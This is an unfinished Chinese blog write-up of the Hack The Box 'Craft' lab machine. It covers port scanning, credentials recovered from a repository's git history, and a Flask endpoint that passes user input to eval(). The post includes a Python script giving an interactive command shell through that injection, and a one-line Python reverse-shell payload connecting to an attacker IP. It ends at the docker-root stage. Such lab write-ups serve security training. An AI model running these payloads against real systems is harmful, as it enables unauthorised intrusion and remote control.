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HTB Linux Craft<a href="https://github.com/owefsad/blog/tree/main/source/_posts/HTB-linux-Craft.md" class="post-edit-link" title="Edit this post" rel="noopener" target="_blank"><i class="fa fa-pen-nib"></i></a>
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<div class="post-body" itemprop="articleBody"><p>简介<br>文章尚未总结完成。</p>
<p>靶机状态：root.</p>
<span id="more"></span>
<h2 id="文章目录"><a href="#文章目录" class="headerlink" title="文章目录"></a>文章目录</h2><ul>
<li>信息收集</li>
</ul>
<h4 id="信息收集"><a href="#信息收集" class="headerlink" title="信息收集"></a>信息收集</h4><figure class="highlight sh"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br></pre></td><td class="code"><pre><span class="line">$ nmap -sC -sV -oA nmap/Craft 10.10.10.110</span><br><span class="line"><span class="comment"># Nmap 7.70 scan initiated Fri Aug 23 22:44:58 2019 as: nmap -sC -sV -oA nmap/Craft 10.10.10.110</span></span><br><span class="line">Nmap scan report <span class="keyword">for</span> 10.10.10.110</span><br><span class="line">Host is up (0.26s latency).</span><br><span class="line">Not shown: 998 closed ports</span><br><span class="line">PORT STATE SERVICE VERSION</span><br><span class="line">22/tcp open ssh OpenSSH 7.4p1 Debian 10+deb9u5 (protocol 2.0)</span><br><span class="line">| ssh-hostkey:</span><br><span class="line">| 2048 bd:e7:6c:22:81:7a:db:3e:c0:f0:73:1d:f3:af:77:65 (RSA)</span><br><span class="line">| 256 82:b5:f9:d1:95:3b:6d:80:0f:35:91:86:2d:b3:d7:66 (ECDSA)</span><br><span class="line">|_ 256 28:3b:26:18:ec:<span class="built_in">df</span>:b3:36:85:9c:27:54:8d:8c:e1:33 (ED25519)</span><br><span class="line">443/tcp open ssl/http nginx 1.15.8</span><br><span class="line">|_http-title: 400 The plain HTTP request was sent to HTTPS port</span><br><span class="line">| ssl-cert: Subject: commonName=craft.htb/organizationName=Craft/stateOrProvinceName=NY/countryName=US</span><br><span class="line">| Not valid before: 2019-02-06T02:25:47</span><br><span class="line">|_Not valid after: 2020-06-20T02:25:47</span><br><span class="line">|_ssl-<span class="built_in">date</span>: TLS randomness does not represent <span class="keyword">time</span></span><br><span class="line">| tls-alpn:</span><br><span class="line">|_ http/1.1</span><br><span class="line">| tls-nextprotoneg:</span><br><span class="line">|_ http/1.1</span><br><span class="line">Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel</span><br><span class="line"></span><br><span class="line">Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .</span><br><span class="line"><span class="comment"># Nmap done at Fri Aug 23 22:46:48 2019 -- 1 IP address (1 host up) scanned in 110.38 seconds</span></span><br></pre></td></tr></table></figure>
<p>配合searchsploit和手工信息搜集后，获得以下信息：</p>
<ul>
<li>22端口，ssh服务，版本为OpenSSH 7.4p1，无N Day RCE</li>
<li>443端口，ssl/http服务，中间件版本为nginx 1.15.8，无N Day RCE</li>
</ul>
<h4 id="gogs-反弹shell"><a href="#gogs-反弹shell" class="headerlink" title="gogs: 反弹shell"></a>gogs: 反弹shell</h4><p>从http服务发现gogs代码管理系统，找到浏览仓库的功能(/exploie/repos)，发现craft-api仓库，访问仓库后，开始收集git信息(<strong>git信息一般从分支代码 、issues、commitlog等方面收集</strong>)，然后从issues中发现：</p>
<figure class="highlight sh"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">$ curl -H <span class="string">'X-Craft-API-Token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoidXNlciIsImV4cCI6MTU0OTM4NTI0Mn0.-wW1aJkLQDOE-GP5pQd3z_BJTe2Uo0jJ_mQ238P5Dqw'</span> -H <span class="string">"Content-Type: application/json"</span> -k -X POST https://api.craft.htb/api/brew/ --data <span class="string">'{"name":"bullshit","brewer":"bullshit", "style": "bullshit", "abv": "15.0")}'</span></span><br></pre></td></tr></table></figure>
<p>然后从项目代码的test目录中发现test.py文件，其中包含login接口但不存在登陆凭证；查看文件历史，找到带登陆凭证的test.py，如下：</p>
<figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">response = requests.get(<span class="string">'https://api.craft.htb/api/auth/login'</span>, auth=(<span class="string">'dinesh'</span>, <span class="string">'4aUh0A8PbVJxgd'</span>), verify=<span class="literal">False</span>)</span><br></pre></td></tr></table></figure>
<p>于是，得到gogs系统的账号：dinesh 4aUh0A8PbVJxgd，尝试登陆ssh，失败。</p>
<p>登陆gogs，未发现其他仓库，于是，对craft-api进行代码审计，最后在”craft_api/brew/endpoints/brew.py”中找到python的命令执行漏洞，代码如下：</p>
<figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># 设置api的namespace，设置该参数后，</span></span><br><span class="line">ns = api.namespace(<span class="string">'brew/'</span>, description=<span class="string">'Operations related to beer.'</span>)</span><br><span class="line"></span><br><span class="line"><span class="meta">@ns.route(<span class="params"><span class="string">'/'</span></span>)</span></span><br><span class="line"><span class="keyword">class</span> <span class="title class_">BrewCollection</span>(<span class="title class_ inherited__">Resource</span>):</span><br><span class="line"><span class="meta"> @auth.auth_required</span></span><br><span class="line"><span class="meta"> @api.expect(<span class="params">beer_entry</span>)</span></span><br><span class="line"> <span class="keyword">def</span> <span class="title function_">post</span>(<span class="params">self</span>):</span><br><span class="line"> <span class="string">"""</span></span><br><span class="line"><span class="string"> Creates a new brew entry.</span></span><br><span class="line"><span class="string"> """</span></span><br><span class="line"></span><br><span class="line"> <span class="comment"># make sure the ABV value is sane. 漏洞点，</span></span><br><span class="line"> <span class="keyword">if</span> <span class="built_in">eval</span>(<span class="string">'%s > 1'</span> % request.json[<span class="string">'abv'</span>]):</span><br><span class="line"> <span class="keyword">return</span> <span class="string">"ABV must be a decimal value less than 1.0"</span>, <span class="number">400</span></span><br><span class="line"> <span class="keyword">else</span>:</span><br><span class="line"> create_brew(request.json)</span><br><span class="line"> <span class="keyword">return</span> <span class="literal">None</span>, <span class="number">201</span></span><br></pre></td></tr></table></figure>
<p>关于flask中namespace相关介绍请看<a target="_blank" rel="noopener" href="https://flask-restplus.readthedocs.io/en/stable/api.html">官方文档</a>，<br>payload中需要闭合’%s > 1’，结合namespace中的配置编写如下脚本：</p>
<figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> requests</span><br><span class="line"><span class="keyword">import</span> sys</span><br><span class="line"><span class="keyword">import</span> json</span><br><span class="line"><span class="keyword">from</span> base64 <span class="keyword">import</span> b64encode</span><br><span class="line"><span class="keyword">from</span> requests.packages.urllib3.exceptions <span class="keyword">import</span> InsecureRequestWarning</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">requests.packages.urllib3.disable_warnings(InsecureRequestWarning)</span><br><span class="line"></span><br><span class="line">proxy={<span class="string">'https'</span>:<span class="string">'http://10.211.55.2:8080'</span>}</span><br><span class="line"></span><br><span class="line">headers = {</span><br><span class="line"> <span class="string">'Host'</span>: <span class="string">'api.craft.htb'</span>,</span><br><span class="line"> <span class="string">'Connection'</span>: <span class="string">'close'</span>,</span><br><span class="line"> <span class="string">'Content-Type'</span>: <span class="string">'application/json'</span>,</span><br><span class="line"> <span class="string">'accept'</span>: <span class="string">'application/json'</span>,</span><br><span class="line"> <span class="string">'X-Craft-Api-Token'</span>: <span class="string">''</span>,</span><br><span class="line"> <span class="string">'accept'</span>: <span class="string">'application/json'</span>,</span><br><span class="line"> <span class="string">'User-Agent'</span>: <span class="string">'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/76.0.3809.100 Safari/537.36'</span>,</span><br><span class="line"> <span class="string">'Sec-Fetch-Mode'</span>: <span class="string">'cors'</span>,</span><br><span class="line"> <span class="string">'Sec-Fetch-Site'</span>: <span class="string">'same-origin'</span>,</span><br><span class="line"> <span class="string">'Referer'</span>: <span class="string">'https://api.craft.htb/api/'</span></span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">create_token</span>():</span><br><span class="line"> <span class="keyword">try</span>:</span><br><span class="line"> response = requests.get(<span class="string">'https://api.craft.htb/api/auth/login'</span>, auth=(<span class="string">'dinesh'</span>, <span class="string">'4aUh0A8PbVJxgd'</span>), verify=<span class="literal">False</span>)</span><br><span class="line"> token = response.json()[<span class="string">'token'</span>]</span><br><span class="line"> <span class="keyword">return</span> token</span><br><span class="line"> <span class="keyword">except</span> Exception <span class="keyword">as</span> e:</span><br><span class="line"> <span class="built_in">print</span>(e)</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">run_command</span>(<span class="params">token, cmd</span>):</span><br><span class="line"> data = {</span><br><span class="line"> <span class="string">"id"</span>: <span class="number">0</span>,</span><br><span class="line"> <span class="string">"brewer"</span>: <span class="string">"bullshit"</span>,</span><br><span class="line"> <span class="string">"name"</span>: <span class="string">"bullshit"</span>,</span><br><span class="line"> <span class="string">"style"</span>: <span class="string">"bullshit"</span>,</span><br><span class="line"> <span class="string">"abv"</span>: <span class="string">"%s"</span>%cmd</span><br><span class="line"> }</span><br><span class="line"> headers[<span class="string">'X-Craft-Api-Token'</span>] = token</span><br><span class="line"> url = <span class="string">'https://api.craft.htb/api/brew/'</span></span><br><span class="line"> response = requests.post(url, data=json.dumps(data), headers=headers, verify=<span class="literal">False</span>)</span><br><span class="line"> <span class="keyword">return</span> (response.status_code, response.text)</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">try_shell</span>():</span><br><span class="line"> token = create_token()</span><br><span class="line"> <span class="keyword">while</span> <span class="number">1</span>:</span><br><span class="line"> cmd = <span class="built_in">input</span>(<span class="string">'# > '</span>)</span><br><span class="line"> <span class="keyword">if</span> cmd <span class="keyword">in</span> [ <span class="string">'quit'</span>, <span class="string">'q'</span>, <span class="string">'exit'</span> ]:</span><br><span class="line"> <span class="keyword">break</span></span><br><span class="line"> code, msg = run_command(token, cmd)</span><br><span class="line"> <span class="keyword">if</span> code == <span class="number">403</span>:</span><br><span class="line"> token = create_token()</span><br><span class="line"> code, msg = run_command(token, cmd)</span><br><span class="line"> <span class="built_in">print</span>(msg)</span><br><span class="line"></span><br><span class="line">try_shell()</span><br></pre></td></tr></table></figure>
<p>配合payload：<code>(__import__("os").system('python -c \'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.15.28",1338));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);\'')) and 1</code>获取<strong>反弹shell</strong></p>
<h4 id="priv-docker-root"><a href="#priv-docker-root" class="headerlink" title="priv: docker root ->"></a>priv: docker root -></h4><p>拿到shell之后，发现自己是root权限，但是没有找到flag，信息收集之后发现是docker中的，继续审计</p>
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